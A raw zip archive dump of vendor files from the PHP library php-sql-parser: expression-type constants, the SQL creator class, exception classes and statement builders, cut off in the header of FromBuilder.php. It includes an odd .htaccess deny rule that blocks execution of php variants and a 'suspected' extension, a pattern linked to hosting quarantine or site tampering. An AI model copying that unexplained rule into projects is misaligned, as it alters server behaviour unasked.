    const RESERVED = 'reserved';
    const CONSTANT = 'const';

    const AGGREGATE_FUNCTION = 'aggregate_function';
    const CUSTOM_FUNCTION = 'custom_function';

    const SIMPLE_FUNCTION = 'function';

    const EXPRESSION = 'expression';
    const BRACKET_EXPRESSION = 'bracket_expression';
    const TABLE_EXPRESSION = 'table_expression';

    const SUBQUERY = 'subquery';
    const IN_LIST = 'in-list';
    const OPERATOR = 'operator';
    const SIGN = 'sign';
    const RECORD = 'record';

    const MATCH_ARGUMENTS = 'match-arguments';
    const MATCH_MODE = 'match-mode';

    const ALIAS = 'alias';
    const POSITION = 'pos';

    const TEMPORARY_TABLE = 'temporary-table';
    const TABLE = 'table';
    const VIEW = 'view';
    const DATABASE = 'database';
    const SCHEMA = 'schema';

    const PROCEDURE = 'procedure';
    const ENGINE = 'engine';
    const USER = 'user';
    const DIRECTORY = 'directory';
    const UNION = 'union';
    const CHARSET = 'character-set';
    const COLLATE = 'collation';

    const LIKE = 'like';
    const CONSTRAINT = 'constraint';
    const PRIMARY_KEY = 'primary-key';
    const FOREIGN_KEY = 'foreign-key';
    const UNIQUE_IDX = 'unique-index';
    const INDEX = 'index';
    const FULLTEXT_IDX = 'fulltext-index';
    const SPATIAL_IDX = 'spatial-index';
    const INDEX_TYPE = 'index-type';
    const CHECK = 'check';
    const COLUMN_LIST = 'column-list';
    const INDEX_COLUMN = 'index-column';
    const INDEX_SIZE = 'index-size';
    const INDEX_PARSER = 'index-parser';
    const INDEX_ALGORITHM = 'index-algorithm';
    const INDEX_LOCK = 'index-lock';
    const REFERENCE = 'foreign-ref';

    const DATA_TYPE = 'data-type';
    const COLUMN_TYPE = 'column-type';
    const DEF_VALUE = 'default-value';
    const COMMENT = 'comment';
    
    const PARTITION = 'partition';
    const PARTITION_LIST = 'partition-list';
    const PARTITION_RANGE = 'partition-range';
    const PARTITION_HASH = 'partition-hash';
    const PARTITION_KEY = 'partition-key';
    const PARTITION_COUNT = 'partition-count';
    const PARTITION_DEF = 'partition-def';
    const PARTITION_VALUES = 'partition-values';
    const PARTITION_COMMENT = 'partition-comment';
    const PARTITION_INDEX_DIR = 'partition-index-dir';
    const PARTITION_DATA_DIR = 'partition-data-dir';
    const PARTITION_MAX_ROWS = 'partition-max-rows';
    const PARTITION_MIN_ROWS = 'partition-min-rows';
    const PARTITION_KEY_ALGORITHM = 'partition-key-algorithm';
    
    const SUBPARTITION = 'sub-partition';
    const SUBPARTITION_DEF = 'sub-partition-def';
    const SUBPARTITION_HASH = 'sub-partition-hash';
    const SUBPARTITION_KEY = 'sub-partition-key';
    const SUBPARTITION_COUNT = 'sub-partition-count';
    const SUBPARTITION_COMMENT = 'sub-partition-comment';
    const SUBPARTITION_INDEX_DIR = 'sub-partition-index-dir';
    const SUBPARTITION_DATA_DIR = 'sub-partition-data-dir';
    const SUBPARTITION_MAX_ROWS = 'sub-partition-max-rows';
    const SUBPARTITION_MIN_ROWS = 'sub-partition-min-rows';
    const SUBPARTITION_KEY_ALGORITHM = 'sub-partition-key-algorithm';
    
    const QUERY = 'query';
    const SUBQUERY_FACTORING = 'subquery-factoring';
}
?>
PK     \	    B  vendor/greenlion/php-sql-parser/src/PHPSQLParser/PHPSQLCreator.phpnu [        <?php
/**
 * PHPSQLCreator.php
 *
 * A creator, which generates SQL from the output of PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser;
use PHPSQLParser\exceptions\UnsupportedFeatureException;
use PHPSQLParser\builders\SelectStatementBuilder;
use PHPSQLParser\builders\DeleteStatementBuilder;
use PHPSQLParser\builders\TruncateStatementBuilder;
use PHPSQLParser\builders\UpdateStatementBuilder;
use PHPSQLParser\builders\InsertStatementBuilder;
use PHPSQLParser\builders\CreateStatementBuilder;
use PHPSQLParser\builders\DropStatementBuilder;
use PHPSQLParser\builders\RenameStatementBuilder;
use PHPSQLParser\builders\ReplaceStatementBuilder;
use PHPSQLParser\builders\ShowStatementBuilder;
use PHPSQLParser\builders\BracketStatementBuilder;
use PHPSQLParser\builders\UnionStatementBuilder;
use PHPSQLParser\builders\UnionAllStatementBuilder;
use PHPSQLParser\builders\AlterStatementBuilder;

/**
 * This class generates SQL from the output of the PHPSQLParser. 
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class PHPSQLCreator {

    public $created;

    public function __construct($parsed = false) {
        if ($parsed) {
            $this->create($parsed);
        }
    }

    public function create($parsed) {
        $k = key($parsed);
        switch ($k) {

        case 'UNION':
			$builder = new UnionStatementBuilder();
			$this->created = $builder->build($parsed);
			break;
        case 'UNION ALL':
            $builder = new UnionAllStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'SELECT':
            $builder = new SelectStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'INSERT':
            $builder = new InsertStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'REPLACE':
            $builder = new ReplaceStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'DELETE':
            $builder = new DeleteStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'TRUNCATE':
            $builder = new TruncateStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'UPDATE':
            $builder = new UpdateStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'RENAME':
            $builder = new RenameStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'SHOW':
            $builder = new ShowStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'CREATE':
            $builder = new CreateStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'BRACKET':
            $builder = new BracketStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'DROP':
            $builder = new DropStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        case 'ALTER':
            $builder = new AlterStatementBuilder();
            $this->created = $builder->build($parsed);
            break;
        default:
            throw new UnsupportedFeatureException($k);
            break;
        }
        return $this->created;
    }
}

?>
PK     \
  
  b  vendor/greenlion/php-sql-parser/src/PHPSQLParser/exceptions/UnableToCalculatePositionException.phpnu [        <?php
/**
 * UnableToCalculatePositionException.php
 *
 * This file implements the UnableToCalculatePositionException class which is used within the
 * PHPSQLParser package.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\exceptions;
use Exception;

/**
 * This exception will occur, if the PositionCalculator can not find the token 
 * defined by a base_expr field within the original SQL statement. Please create 
 * an issue in such a case, it is an application error.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UnableToCalculatePositionException extends Exception {

    protected $needle;
    protected $haystack;

    public function __construct($needle, $haystack) {
        $this->needle = $needle;
        $this->haystack = $haystack;
        parent::__construct("cannot calculate position of " . $needle . " within " . $haystack, 5);
    }

    public function getNeedle() {
        return $this->needle;
    }

    public function getHaystack() {
        return $this->haystack;
    }
}

?>
PK     \3X2	  	  Y  vendor/greenlion/php-sql-parser/src/PHPSQLParser/exceptions/InvalidParameterException.phpnu [        <?php
/**
 * InvalidParameterException.php
 *
 * This file implements the InvalidParameterException class which is used within the
 * PHPSQLParser package.
 * 
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\exceptions;
use InvalidArgumentException;

/**
 * This exception will occur in the parser, if the given SQL statement
 * is not a String type.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class InvalidParameterException extends InvalidArgumentException {

    protected $argument;

    public function __construct($argument) {
        $this->argument = $argument;
        parent::__construct("no SQL string to parse: \n" . $argument, 10);
    }

    public function getArgument() {
        return $this->argument;
    }
}

?>
PK     \)
  )
  [  vendor/greenlion/php-sql-parser/src/PHPSQLParser/exceptions/UnsupportedFeatureException.phpnu [        <?php
/**
 * UnsupportedFeatureException.php
 *
 * This file implements the UnsupportedFeatureException class which is used within the
 * PHPSQLParser package.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\exceptions;
use Exception;

/**
 * This exception will occur in the PHPSQLCreator, if the creator finds
 * a field name, which is unknown. The developers have created some 
 * additional output of the parser, but the creator class has not been 
 * enhanced. Please open an issue in such a case.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UnsupportedFeatureException extends Exception {

    protected $key;

    public function __construct($key) {
        $this->key = $key;
        parent::__construct($key . " not implemented.", 20);
    }

    public function getKey() {
        return $this->key;
    }
}

?>
PK     \qI  I  Z  vendor/greenlion/php-sql-parser/src/PHPSQLParser/exceptions/UnableToCreateSQLException.phpnu [        <?php
/**
 * UnableToCreateSQLException.php
 *
 * This file implements the UnableToCreateSQLException class which is used within the
 * PHPSQLParser package.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\exceptions;
use Exception;

/**
 * This exception will occur within the PHPSQLCreator, if the creator can not find a
 * method, which can handle the current expr_type field. It could be an error within the parser
 * output or a special case has not been modelled within the creator. Please create an issue
 * in such a case.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UnableToCreateSQLException extends Exception {

    protected $part;
    protected $partkey;
    protected $entry;
    protected $entrykey;

    public function __construct($part, $partkey, $entry, $entrykey) {
        $this->part = $part;
        $this->partkey = $partkey;
        $this->entry = $entry;
        $this->entrykey = $entrykey;
        parent::__construct(
            "unknown [" . $entrykey . "] = " . $entry[$entrykey] . " in \"" . $part . "\" [" . $partkey . "] ", 15);
    }

    public function getEntry() {
        return $this->entry;
    }

    public function getEntryKey() {
        return $this->entrykey;
    }

    public function getSQLPart() {
        return $this->part;
    }

    public function getSQLPartKey() {
        return $this->partkey;
    }
}

?>
PK     \Sʉ      E  vendor/greenlion/php-sql-parser/src/PHPSQLParser/exceptions/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \:1ٻ    U  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ReplaceStatementBuilder.phpnu [        <?php
/**
 * ReplaceStatement.php
 *
 * Builds the REPLACE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole Replace statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ReplaceStatementBuilder implements Builder {

    protected function buildVALUES($parsed) {
        $builder = new ValuesBuilder();
        return $builder->build($parsed);
    }

    protected function buildREPLACE($parsed) {
        $builder = new ReplaceBuilder();
        return $builder->build($parsed);
    }

    protected function buildSELECT($parsed) {
        $builder = new SelectStatementBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildSET($parsed) {
        $builder = new SetBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        // TODO: are there more than one tables possible (like [REPLACE][1])
        $sql = $this->buildREPLACE($parsed['REPLACE']);
        if (isset($parsed['VALUES'])) {
            $sql .= ' ' . $this->buildVALUES($parsed['VALUES']);
        }
        if (isset($parsed['SET'])) {
            $sql .= ' ' . $this->buildSET($parsed['SET']);
        }
        if (isset($parsed['SELECT'])) {
            $sql .= ' ' . $this->buildSELECT($parsed);
        }
        return $sql;
    }
}
?>
PK     \aX8  8  O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ForeignRefBuilder.phpnu [        <?php
/**
 * ForeignRefBuilder.php
 *
 * Builds the FOREIGN KEY REFERENCES statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the FOREIGN KEY REFERENCES statement
 * part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ForeignRefBuilder implements Builder {

    protected function buildTable($parsed) {
        $builder = new TableBuilder();
        return $builder->build($parsed, 0);
    }

    protected function buildColumnList($parsed) {
        $builder = new ColumnListBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::REFERENCE) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildTable($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildColumnList($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE foreign ref subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \E^*
  *
  V  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByExpressionBuilder.phpnu [        <?php
/**
 * OrderByExpressionBuilder.php
 *
 * Builds expressions within the ORDER-BY part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for expressions within the ORDER-BY part. 
 * It must contain the direction. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OrderByExpressionBuilder extends WhereExpressionBuilder {

    protected function buildDirection($parsed) {
        $builder = new DirectionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = parent::build($parsed);
        if ($sql !== '') {
            $sql .= $this->buildDirection($parsed);
        }
        return $sql;
    }

}
?>
PK     \sU    I  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/FromBuilder.phpnu [        <?php
/**
 * FromBuilder.php
 *
 * Builds the FROM statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
